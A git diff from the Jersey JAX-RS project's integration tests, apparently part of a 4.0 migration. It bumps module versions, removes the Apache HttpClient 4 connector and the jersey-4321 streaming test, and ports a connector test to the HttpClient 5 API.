index 37054d3..d0b2bb7 100644
--- a/tests/integration/jersey-3670/pom.xml
+++ b/tests/integration/jersey-3670/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3670</artifactId>
diff --git a/tests/integration/jersey-3796/pom.xml b/tests/integration/jersey-3796/pom.xml
index e93dbf6..407e022 100644
--- a/tests/integration/jersey-3796/pom.xml
+++ b/tests/integration/jersey-3796/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3796</artifactId>
diff --git a/tests/integration/jersey-3992/pom.xml b/tests/integration/jersey-3992/pom.xml
index 7c4ecab..422facd 100644
--- a/tests/integration/jersey-3992/pom.xml
+++ b/tests/integration/jersey-3992/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-3992</artifactId>
diff --git a/tests/integration/jersey-4003/pom.xml b/tests/integration/jersey-4003/pom.xml
index 693f469..a1f62f5 100644
--- a/tests/integration/jersey-4003/pom.xml
+++ b/tests/integration/jersey-4003/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4099/pom.xml b/tests/integration/jersey-4099/pom.xml
index 91bba93..1b29196 100644
--- a/tests/integration/jersey-4099/pom.xml
+++ b/tests/integration/jersey-4099/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-4099</artifactId>
diff --git a/tests/integration/jersey-4321/pom.xml b/tests/integration/jersey-4321/pom.xml
deleted file mode 100644
index 2f282d2..0000000
--- a/tests/integration/jersey-4321/pom.xml
+++ /dev/null
@@ -1,66 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-
-    Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
-    Copyright (c) 2019 Christian Kaltepoth. All rights reserved.
-
-    This program and the accompanying materials are made available under the
-    terms of the Eclipse Public License v. 2.0, which is available at
-    http://www.eclipse.org/legal/epl-2.0.
-
-    This Source Code may also be made available under the following Secondary
-    Licenses when the conditions for such availability set forth in the
-    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-    version 2 with the GNU Classpath Exception, which is available at
-    https://www.gnu.org/software/classpath/license.html.
-
-    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <parent>
-        <artifactId>project</artifactId>
-        <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
-    </parent>
-    <modelVersion>4.0.0</modelVersion>
-
-    <artifactId>jersey-4321</artifactId>
-
-    <dependencies>
-        <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-grizzly2-http</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.apache.httpcomponents</groupId>
-                    <artifactId>httpclient</artifactId>
-                </exclusion>
-            </exclusions>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <!-- Do not change the version, this is backward compatibility test that is to pass on 4.5 -->
-            <version>4.5</version>
-            <scope>test</scope>
-        </dependency>
-    </dependencies>
-
-</project>
diff --git a/tests/integration/jersey-4321/src/test/java/org/glassfish/jersey/tests/integration/jersey4321/StreamingTest.java b/tests/integration/jersey-4321/src/test/java/org/glassfish/jersey/tests/integration/jersey4321/StreamingTest.java
deleted file mode 100644
index c3f2993..0000000
--- a/tests/integration/jersey-4321/src/test/java/org/glassfish/jersey/tests/integration/jersey4321/StreamingTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.tests.integration.jersey4321;
-
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.server.ChunkedOutput;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.inject.Singleton;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import java.io.IOException;
-import java.io.InputStream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Brought over from Apache connector module, Jersey 2.28 style
- * @author Petr Janouch
- */
-public class StreamingTest extends JerseyTest {
-
-    /**
-     * Test that a data stream can be terminated from the client side.
-     * Using pre Jersey 2.29 strategy
-     */
-    @Test
-    public void clientCloseCloseResponseFirstTest() throws IOException {
-        // start streaming
-
-        InputStream inputStream = target().path("/streamingEndpoint").request().get(InputStream.class);
-
-        WebTarget sendTarget = target().path("/streamingEndpoint/send");
-        // trigger sending 'A' to the stream; OK is sent if everything on the server was OK
-        assertEquals("OK", sendTarget.request().get().readEntity(String.class));
-        // check 'A' has been sent
-        assertEquals('A', inputStream.read());
-        // closing the stream should tear down the connection
-        inputStream.close();
-        // trigger sending another 'A' to the stream; it should fail
-        // (indicating that the streaming has been terminated on the server)
-        assertEquals("NOK", sendTarget.request().get().readEntity(String.class));
-    }
-
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(StreamingEndpoint.class);
-    }
-
-    @Singleton
-    @Path("streamingEndpoint")
-    public static class StreamingEndpoint {
-
-        private final ChunkedOutput<String> output = new ChunkedOutput<>(String.class);
-
-        @GET
-        @Path("send")
-        public String sendEvent() {
-            try {
-                output.write("A");
-            } catch (IOException e) {
-                return "NOK";
-            }
-
-            return "OK";
-        }
-
-        @GET
-        @Produces(MediaType.TEXT_PLAIN)
-        public ChunkedOutput<String> get() {
-            return output;
-        }
-    }
-}
diff --git a/tests/integration/jersey-4507/pom.xml b/tests/integration/jersey-4507/pom.xml
index 4692702..bbeea82 100644
--- a/tests/integration/jersey-4507/pom.xml
+++ b/tests/integration/jersey-4507/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4542/pom.xml b/tests/integration/jersey-4542/pom.xml
index 27e87cf..8c7d44b 100644
--- a/tests/integration/jersey-4542/pom.xml
+++ b/tests/integration/jersey-4542/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4697/pom.xml b/tests/integration/jersey-4697/pom.xml
index a3a8f27..56c836a 100644
--- a/tests/integration/jersey-4697/pom.xml
+++ b/tests/integration/jersey-4697/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4722/pom.xml b/tests/integration/jersey-4722/pom.xml
index 49b8878..3d0ed74 100644
--- a/tests/integration/jersey-4722/pom.xml
+++ b/tests/integration/jersey-4722/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/integration/jersey-4949/pom.xml b/tests/integration/jersey-4949/pom.xml
index 09e8c27..7dc20ee 100644
--- a/tests/integration/jersey-4949/pom.xml
+++ b/tests/integration/jersey-4949/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-4949</artifactId>
diff --git a/tests/integration/jersey-5087/pom.xml b/tests/integration/jersey-5087/pom.xml
index 0cfb3ce..cd6e720 100644
--- a/tests/integration/jersey-5087/pom.xml
+++ b/tests/integration/jersey-5087/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -59,14 +59,6 @@
             <artifactId>jersey-server</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
         </dependency>
@@ -123,10 +115,6 @@
             <artifactId>jersey-container-servlet-core</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-simple-http</artifactId>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.containers.glassfish</groupId>
             <artifactId>jersey-gf-ejb</artifactId>
         </dependency>
@@ -283,10 +271,6 @@
             <artifactId>jersey-hk2</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.inject</groupId>
-            <artifactId>jersey-cdi2-se</artifactId>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
             <artifactId>jersey-test-framework-core</artifactId>
         </dependency>
@@ -313,10 +297,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-simple</artifactId>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
             <artifactId>jersey-test-framework-provider-jetty</artifactId>
         </dependency>
         <dependency>
diff --git a/tests/integration/jersey-780/pom.xml b/tests/integration/jersey-780/pom.xml
index 2906ed8..9ee09c1 100644
--- a/tests/integration/jersey-780/pom.xml
+++ b/tests/integration/jersey-780/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-780</artifactId>
diff --git a/tests/integration/microprofile/config/helidon/pom.xml b/tests/integration/microprofile/config/helidon/pom.xml
index 6ade6d7..4c034c6 100644
--- a/tests/integration/microprofile/config/helidon/pom.xml
+++ b/tests/integration/microprofile/config/helidon/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-config-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -80,25 +80,6 @@
 
     <profiles>
         <profile>
-            <id>TestExclude</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/tests/integration/config/*Test.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
             <id>smallrye-dependency</id>
             <activation>
                 <jdk>[11,)</jdk>
@@ -115,7 +96,7 @@
         <profile>
             <id>helidon-config-dependency</id>
             <activation>
-                <jdk>[17,)</jdk>
+                <jdk>[21,)</jdk>
             </activation>
             <dependencies>
                 <dependency>
diff --git a/tests/integration/microprofile/config/pom.xml b/tests/integration/microprofile/config/pom.xml
index d95ff83..7ca1731 100644
--- a/tests/integration/microprofile/config/pom.xml
+++ b/tests/integration/microprofile/config/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
diff --git a/tests/integration/microprofile/config/webapp/pom.xml b/tests/integration/microprofile/config/webapp/pom.xml
index b66d0dd..f239b0d 100644
--- a/tests/integration/microprofile/config/webapp/pom.xml
+++ b/tests/integration/microprofile/config/webapp/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>microprofile-config-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -40,10 +40,6 @@
                 </exclusion>
             </exclusions>
         </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.bundles</groupId>
-            <artifactId>jaxrs-ri</artifactId>
-        </dependency>
     </dependencies>
 
     <build>
diff --git a/tests/integration/microprofile/pom.xml b/tests/integration/microprofile/pom.xml
index a7e27e4..8749dee 100644
--- a/tests/integration/microprofile/pom.xml
+++ b/tests/integration/microprofile/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <packaging>pom</packaging>
diff --git a/tests/integration/microprofile/rest-client-tck/pom.xml b/tests/integration/microprofile/rest-client-tck/pom.xml
index a9b1184..5cedb94 100644
--- a/tests/integration/microprofile/rest-client-tck/pom.xml
+++ b/tests/integration/microprofile/rest-client-tck/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -167,7 +167,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/tests/integration/microprofile/rest-client/pom.xml b/tests/integration/microprofile/rest-client/pom.xml
index 2b98db3..ab7cf39 100644
--- a/tests/integration/microprofile/rest-client/pom.xml
+++ b/tests/integration/microprofile/rest-client/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>microprofile-integration-project</artifactId>
         <groupId>org.glassfish.jersey.tests.integration.microprofile</groupId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -59,7 +59,7 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
+            <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java
index ddacaa0..c920473 100644
--- a/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java
+++ b/tests/integration/microprofile/rest-client/src/test/java/org/glassfish/jersey/test/microprofile/restclient/ConnectorTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,12 +20,13 @@
 import java.net.URISyntaxException;
 import java.util.concurrent.CountDownLatch;
 
-import org.apache.http.conn.ConnectionRequest;
-import org.apache.http.conn.routing.HttpRoute;
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.HttpRoute;
+import org.apache.hc.client5.http.impl.io.PoolingHttpClientConnectionManager;
+import org.apache.hc.client5.http.io.LeaseRequest;
+import org.apache.hc.core5.util.Timeout;
 import org.eclipse.microprofile.rest.client.RestClientBuilder;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
-import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
+import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
+import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 import org.glassfish.jersey.test.TestProperties;
@@ -50,17 +51,22 @@
         PoolingHttpClientConnectionManager connectionManager = new PoolingHttpClientConnectionManager() {
 
             @Override
-            public ConnectionRequest requestConnection(HttpRoute route, Object state) {
+            public LeaseRequest lease(String id, HttpRoute route, Object state) {
                 countDownLatch.countDown();
-                return super.requestConnection(route, state);
+                return super.lease(id, route, state);
             }
 
+            @Override
+            public LeaseRequest lease(String id, HttpRoute route, Timeout requestTimeout, Object state) {
+                countDownLatch.countDown();
+                return super.lease(id, route, requestTimeout, state);
+            }
         };
 
         ApplicationResource app = RestClientBuilder.newBuilder()
                 .baseUri(new URI("http://localhost:9998"))
-                .property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager)
-                .register(ApacheConnectorProvider.class)
+                .property(Apache5ClientProperties.CONNECTION_MANAGER, connectionManager)
+                .register(Apache5ConnectorProvider.class)
                 .build(ApplicationResource.class);
 
         app.getTestMap();
diff --git a/tests/integration/pom.xml b/tests/integration/pom.xml
index 0899b3a..1036f1e 100644
--- a/tests/integration/pom.xml
+++ b/tests/integration/pom.xml
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.integration</groupId>
@@ -34,39 +34,109 @@
 
     <modules>
         <module>asm</module>
+        <module>async-jersey-filter</module>
         <module>cdi-integration</module>
         <module>client-connector-provider</module>
         <module>ejb-multimodule</module>
         <module>ejb-multimodule-reload</module>
         <module>ejb-test-webapp</module>
+        <module>externalproperties</module>
         <module>j-376</module>
         <module>j-441</module>
         <module>j-59</module>
         <module>jackson-14</module>
+        <module>jaxrs-component-inject</module>
+        <module>jersey-780</module>
+        <module>jersey-1107</module>
+        <module>jersey-1223</module>
+        <module>jersey-1604</module>
+        <module>jersey-1667</module>
+        <module>jersey-1829</module>
+        <module>jersey-1883</module>
+        <module>jersey-1928</module>
+        <module>jersey-1960</module>
+        <module>jersey-1964</module>
+        <module>jersey-2031</module>
         <module>jersey-2136</module>
         <module>jersey-2137</module>
         <module>jersey-2154</module>
+        <module>jersey-2160</module>
+        <module>jersey-2164</module>
+        <module>jersey-2167</module>
+        <module>jersey-2176</module>
+        <module>jersey-2184</module>
+        <module>jersey-2255</module>
+        <module>jersey-2322</module>
+        <module>jersey-2335</module>
         <module>jersey-2421</module>
+        <module>jersey-2551</module>
+        <module>jersey-2612</module>
+        <module>jersey-2637</module>
+        <module>jersey-2654</module>
+        <module>jersey-2673</module>
+        <module>jersey-2689</module>
+        <module>jersey-2704</module>
         <module>jersey-2776</module>
+        <module>jersey-2794</module>
+        <module>jersey-2846</module>
+        <module>jersey-2878</module>
+        <module>jersey-2892</module>
         <module>jersey-3662</module>
         <module>jersey-3670</module>
+        <module>jersey-3796</module>
         <module>jersey-3992</module>
         <module>jersey-4003</module>
         <module>jersey-4099</module>
-        <module>jersey-4321</module>
         <module>jersey-4507</module>
         <module>jersey-4542</module>
         <module>jersey-4697</module>
         <module>jersey-4722</module>
+        <module>jersey-4949</module>
         <module>jersey-5087</module>
         <module>microprofile</module>
         <module>property-check</module>
         <module>reactive-streams</module>
+        <module>security-digest</module>
         <module>servlet-2.5-reload</module>
         <module>servlet-3-gf-async</module>
         <module>servlet-3-sse-1</module>
-        <!--        <module>spring4</module>-->
-        <!--        <module>spring5</module>-->
+        <module>servlet-2.5-autodiscovery-1</module>
+        <module>servlet-2.5-autodiscovery-2</module>
+        <module>servlet-2.5-filter</module>
+        <module>servlet-2.5-inflector-1</module>
+        <module>servlet-2.5-init-1</module>
+        <module>servlet-2.5-init-2</module>
+        <module>servlet-2.5-init-3</module>
+        <module>servlet-2.5-init-4</module>
+        <module>servlet-2.5-init-5</module>
+        <module>servlet-2.5-init-6</module>
+        <module>servlet-2.5-init-7</module>
+        <module>servlet-2.5-init-8</module>
+        <module>servlet-2.5-mvc-1</module>
+        <module>servlet-2.5-mvc-2</module>
+        <module>servlet-2.5-mvc-3</module>
+        <module>servlet-3-async</module>
+        <module>servlet-3-chunked-io</module>
+        <module>servlet-3-filter</module>
+        <module>servlet-3-inflector-1</module>
+        <module>servlet-3-init-1</module>
+        <module>servlet-3-init-2</module>
+        <module>servlet-3-init-3</module>
+        <module>servlet-3-init-4</module>
+        <module>servlet-3-init-5</module>
+        <module>servlet-3-init-6</module>
+        <module>servlet-3-init-7</module>
+        <module>servlet-3-init-8</module>
+        <module>servlet-3-init-9</module>
+        <module>servlet-3-init-provider</module>
+        <module>servlet-3-params</module>
+        <module>servlet-4.0-mvc-1</module>
+        <module>servlet-tests</module>
+        <module>servlet-request-wrapper-binding</module>
+        <module>servlet-request-wrapper-binding-2</module>
+        <module>sonar-test</module>
+        <module>spring6</module>
+        <module>tracing-support</module>
         <module>thin-server</module>
     </modules>
 
@@ -119,86 +189,6 @@
                 </pluginManagement>
             </build>
         </profile>
-        <profile>
-            <id>jdk17</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <modules>
-                <module>async-jersey-filter</module>
-                <module>externalproperties</module>
-                <module>jaxrs-component-inject</module>
-                <module>jersey-780</module>
-                <module>jersey-1107</module>
-                <module>jersey-1223</module>
-                <module>jersey-1604</module>
-                <module>jersey-1667</module>
-                <module>jersey-1883</module>
-                <module>jersey-1928</module>
-                <module>jersey-1960</module>
-                <module>jersey-1964</module>
-                <module>jersey-2031</module>
-                <module>jersey-2160</module>
-                <module>jersey-2164</module>
-                <module>jersey-2167</module>
-                <module>jersey-2176</module>
-                <module>jersey-2184</module>
-                <module>jersey-2255</module>
-                <module>jersey-2322</module>
-                <module>jersey-2335</module>
-                <module>jersey-2551</module>
-                <module>jersey-2612</module>
-                <module>jersey-2637</module>
-                <module>jersey-2654</module>
-                <module>jersey-2673</module>
-                <module>jersey-2689</module>
-                <module>jersey-2704</module>
-                <module>jersey-2794</module>
-                <module>jersey-2846</module>
-                <module>jersey-2878</module>
-                <module>jersey-2892</module>
-                <module>jersey-3796</module>
-                <module>jersey-4949</module>
-                <module>security-digest</module>
-                <module>servlet-2.5-autodiscovery-1</module>
-                <module>servlet-2.5-autodiscovery-2</module>
-                <module>servlet-2.5-filter</module>
-                <module>servlet-2.5-inflector-1</module>
-                <module>servlet-2.5-init-1</module>
-                <module>servlet-2.5-init-2</module>
-                <module>servlet-2.5-init-3</module>
-                <module>servlet-2.5-init-4</module>
-                <module>servlet-2.5-init-5</module>
-                <module>servlet-2.5-init-6</module>
-                <module>servlet-2.5-init-7</module>
-                <module>servlet-2.5-init-8</module>
-                <module>servlet-2.5-mvc-1</module>
-                <module>servlet-2.5-mvc-2</module>
-                <module>servlet-2.5-mvc-3</module>
-                <module>servlet-3-async</module>
-                <module>servlet-3-chunked-io</module>
-                <module>servlet-3-filter</module>
-                <module>servlet-3-inflector-1</module>
-                <module>servlet-3-init-1</module>
-                <module>servlet-3-init-2</module>
-                <module>servlet-3-init-3</module>
-                <module>servlet-3-init-4</module>
-                <module>servlet-3-init-5</module>
-                <module>servlet-3-init-6</module>
-                <module>servlet-3-init-7</module>
-                <module>servlet-3-init-8</module>
-                <module>servlet-3-init-9</module>
-                <module>servlet-3-init-provider</module>
-                <module>servlet-3-params</module>
-                <module>servlet-4.0-mvc-1</module>
-                <module>servlet-tests</module>
-                <module>servlet-request-wrapper-binding</module>
-                <module>servlet-request-wrapper-binding-2</module>
-                <module>sonar-test</module>
-                <module>spring6</module>
-                <module>tracing-support</module>
-            </modules>
-        </profile>
     </profiles>
 
     <build>
diff --git a/tests/integration/property-check/pom.xml b/tests/integration/property-check/pom.xml
index 2e49deb..326a62e 100644
--- a/tests/integration/property-check/pom.xml
+++ b/tests/integration/property-check/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.integration</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>property-check</artifactId>
@@ -70,11 +70,6 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-apache-connector</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.connectors</groupId>
             <artifactId>jersey-apache5-connector</artifactId>
             <scope>test</scope>
         </dependency>
diff --git a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
index 00701ff..014e8cc 100644
--- a/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
+++ b/tests/integration/property-check/src/test/java/org/glassfish/jersey/internal/config/SystemPropertiesConfigurationModelTest.java
@@ -31,7 +31,6 @@
 import java.util.stream.Stream;
 
 import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.apache.connector.ApacheClientProperties;
 import org.glassfish.jersey.apache5.connector.Apache5ClientProperties;
 import org.glassfish.jersey.client.ClientProperties;
 import org.glassfish.jersey.internal.InternalProperties;
@@ -94,7 +93,6 @@
             System.setProperty(ClientProperties.BACKGROUND_SCHEDULER_THREADPOOL_SIZE, TEST_STRING);
             System.setProperty(ServletProperties.JAXRS_APPLICATION_CLASS, TEST_STRING);
             System.setProperty(MessageProperties.IO_BUFFER_SIZE, TEST_STRING);
-            System.setProperty(ApacheClientProperties.DISABLE_COOKIES, TEST_STRING);
             System.setProperty(Apache5ClientProperties.DISABLE_COOKIES, TEST_STRING);
             System.setProperty(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION, TEST_STRING);
             System.setProperty(JavaNetHttpClientProperties.DISABLE_COOKIES, TEST_STRING);
@@ -121,9 +119,7 @@
             assertFalse(properties.containsKey(InternalProperties.JSON_FEATURE));
             assertEquals(TEST_STRING, properties.get(MessageProperties.IO_BUFFER_SIZE));
             assertFalse(properties.containsKey(MessageProperties.DEFLATE_WITHOUT_ZLIB));
-            assertEquals(TEST_STRING, properties.get(ApacheClientProperties.DISABLE_COOKIES));
